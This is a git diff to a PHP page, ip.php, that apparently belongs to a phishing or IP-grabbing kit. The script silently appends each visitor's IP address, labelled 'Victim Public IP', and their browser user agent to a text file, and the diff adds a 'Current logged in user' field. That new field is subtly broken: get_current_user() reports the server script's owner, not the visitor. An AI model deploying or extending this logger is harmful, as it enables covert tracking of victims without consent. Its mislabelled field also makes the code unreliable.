diff --git a/WebPages/ip.php b/WebPages/ip.php index 1a8ff7e..8df8730 100644 --- a/WebPages/ip.php +++ b/WebPages/ip.php @@ -12,18 +12,23 @@ else { $ipaddress = $_SERVER['REMOTE_ADDR']."\r\n"; } -$useragent = " User-Agent: "; -$browser = $_SERVER['HTTP_USER_AGENT']; +$browser = $_SERVER['HTTP_USER_AGENT']; +$useragent = " User-Agent: " . $browser; + +$user = get_current_user(); $file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way. $victim = "Victim Public IP: "; + +$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user; + $fp = fopen($file, 'a'); fwrite($fp, $victim); fwrite($fp, $ipaddress); fwrite($fp, $useragent); -fwrite($fp, $browser); +fwrite($fp, $currentuser); fclose($fp);